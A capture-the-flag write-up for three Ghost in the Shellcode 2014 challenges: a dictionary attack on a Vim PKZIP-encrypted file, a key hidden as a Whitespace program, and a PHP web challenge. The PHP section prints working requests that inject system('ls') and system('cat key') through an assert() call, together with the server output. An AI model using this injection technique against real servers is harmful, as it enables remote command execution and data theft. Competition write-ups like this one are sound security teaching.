https://2014.ghostintheshellcode.com/
Wow such crypto Very download so xz.
$ file dogecrypt-b36f587051faafc444417eb10dd47b0f30a52a0b dogecrypt-b36f587051faafc444417eb10dd47b0f30a52a0b: XZ compressed data $ xz -dc dogecrypt-b36f587051faafc444417eb10dd47b0f30a52a0b > dogecrypt $ file dogecrypt dogecrypt: Vim encrypted file data
Vim encryption can use PKZIP encryption or Blowfish. This file uses
PKZIP (file magic is VimCrypt~01!
).
I thought about trying to turn the file contents into a zip file and then using a zip cracker. But it seemed hard to manually create the zip header and CRC and everything.
The encryption algorithm is in section 6.1 of the zip specification. The file src/misc2.c in the Vim source code has parts of the implementation (crypt_init_keys
, DECRYPT_BYTE_ZIP
, UPDATE_KEYS_ZIP
).
crack.go is a manual implementation of the decryption algorithm. It
takes the name of an encrypted Vim file as an argument, and trial
passwords from stdin. It prints the password and plaintext when the
plaintext is at least 75% ASCII.
$ ./crack dogecrypt < /usr/share/dict/words "parliament" → "The key is: ShibeSuchDictionaryAttacksWow\n\n\n\n wow\n\n very much ctf\n\n most key\n\n\n\n\n such flag\n\n\n so much shellcode\n\n\n\n\n\n wow\n"
The key is in view, what is it? File
$ file inview-324b8fb59c14da0d5ca1fe2c31192d80cec8e155 inview-324b8fb59c14da0d5ca1fe2c31192d80cec8e155: XZ compressed data $ xz -dc inview-324b8fb59c14da0d5ca1fe2c31192d80cec8e155 > inview.c $ file inview.c inview.c: UTF-8 Unicode (with BOM) text
inview.c is a C program with suspicious whitespace that does some computation and prints a string.
$ gcc -o inview inview.c $ ./inview U;J4"4';75?;19#'-->
The output doesn't mean anything. The key is encoded in the whitespace of the program's source code. I first tried decoding with the SNOW steganography program but that didn't lead anywhere. It turns out the challenge uses the Whitespace programming language. The Wikipedia article led to this collection of interpreters and I just ran one of them.
$ wget https://raw.github.com/hostilefork/whitespacers/master/perl/whitespace.pl $ perl whitespace.pl inview.c WhitespaceProgrammingIsHard
GitS Presents PHPCrypto 0.000001
There is JavaScript in the HTML source.
Clicking "Encrypt" or "Decrypt" does a POST to /crypto.php with
function=customCrypto
, the key, and the hex-encoded plaintext.
function encrypt() { key = $("#key")[0].value; plaintexthex = toHex($("#plaintext")[0].value); function success(data) {$("#ciphertext")[0].value = $.parseJSON(data).returnValue;} $.post('crypto.php', {"function":"customCrypto", "key":key, "plaintexthex":plaintexthex}, success ); }
You can drive the customCrypto
function with Wget:
$ torify wget -S -q -O - http://phpcrypto.2014.ghostintheshellcode.com/crypto.php --post-data 'function=customCrypto&key=yep+yep&plaintexthex=41414141' HTTP/1.1 200 OK Date: Sun, 19 Jan 2014 18:12:49 GMT Server: Apache/2.4.6 (Ubuntu) X-Powered-By: PHP/5.5.3-1ubuntu2.1 Content-Length: 26 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html {"returnValue":"7a66737a"}
Elsewhere in the source code we find this comment:
/* TODO: add support for "help" and "dump" functions */
So we try function=help
and function=dump
.
$ torify wget -S -O - -q http://phpcrypto.2014.ghostintheshellcode.com/crypto.php --post-data 'function=help' HTTP/1.0 500 Internal Server Error Date: Sun, 19 Jan 2014 17:24:08 GMT Server: Apache/2.4.6 (Ubuntu) X-Powered-By: PHP/5.5.3-1ubuntu2.1 Content-Length: 0 Connection: close Content-Type: text/html
$ torify wget -S -O crypto.html -q http://phpcrypto.2014.ghostintheshellcode.com/crypto.php --post-data 'function=dump' HTTP/1.1 200 OK Date: Sun, 19 Jan 2014 17:24:44 GMT Server: Apache/2.4.6 (Ubuntu) X-Powered-By: PHP/5.5.3-1ubuntu2.1 Vary: Accept-Encoding Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html
function=dump
returns us HTML-highlighted source code of crypto.php.
$ w3m -cols 100000 -dump crypto.html > crypto.php
Our vuln is here:
if (isset($DEBUG) && $DEBUG == "true") { //$message = "\$message = \"The key is: $xorKey and the plaintext is: \".addslashes(\"$plaintext\");"; assert("\$message = \"The key is: $xorKey and the plaintext is: \".addslashes(\"$plaintext\");"); error_log($message); $data['errorMsg'] .= $message; }We can set
DEBUG=true
by including it in the POST data. assert
is like
eval
in that it will evaluate the string given to it. We can inject what
we like in $plaintext
because it is passed into customCrypto
as a
hex-encoded string, which survives the initial sanitization. We aim to
inject a string like
abc".system("ls")."so that the code executed by assert becomes
$message = "The key is: xorKey and the plaintext is: ".addslashes("abc".system("ls")."");
First we inject a reconnaissance payload:
$ python -c 'print "abc\".system(\"ls\").\"".encode("hex")' 616263222e73797374656d28226c7322292e22 $ torify wget -S -O - -q http://phpcrypto.2014.ghostintheshellcode.com/crypto.php --post-data 'function=customCrypto&key=xxx&plaintexthex=616263222e73797374656d28226c7322292e22&DEBUG=true' HTTP/1.1 200 OK Date: Sun, 19 Jan 2014 18:22:29 GMT Server: Apache/2.4.6 (Ubuntu) X-Powered-By: PHP/5.5.3-1ubuntu2.1 Vary: Accept-Encoding Content-Length: 159 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html crypto.php index.php jquery-1.8.0.min.js key {"errorMsg":"The key is: ::: and the plaintext is: abckey","returnValue":"5b585918144943494e5f571218564918131418"}
Then we get the contents of the key file.
$ python -c 'print "abc\".system(\"cat key\").\"".encode("hex")' 616263222e73797374656d2822636174206b657922292e22 $ torify wget -S -O - -q http://phpcrypto.2014.ghostintheshellcode.com/crypto.php --post-data 'function=customCrypto&key=xxx&plaintexthex=616263222e7379737465 6d2822636174206b657922292e22&DEBUG=true'; echo HTTP/1.1 200 OK Date: Sun, 19 Jan 2014 18:24:40 GMT Server: Apache/2.4.6 (Ubuntu) X-Powered-By: PHP/5.5.3-1ubuntu2.1 Vary: Accept-Encoding Content-Length: 201 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html ThisWasAStupidTestKeyThatBecameARealBoy {"errorMsg":"The key is: ::: and the plaintext is: abcThisWasAStupidTestKeyThatBecameARealBoy","returnValue":"5b585918144943494e5f571218595b4e1a515f4318131418 "}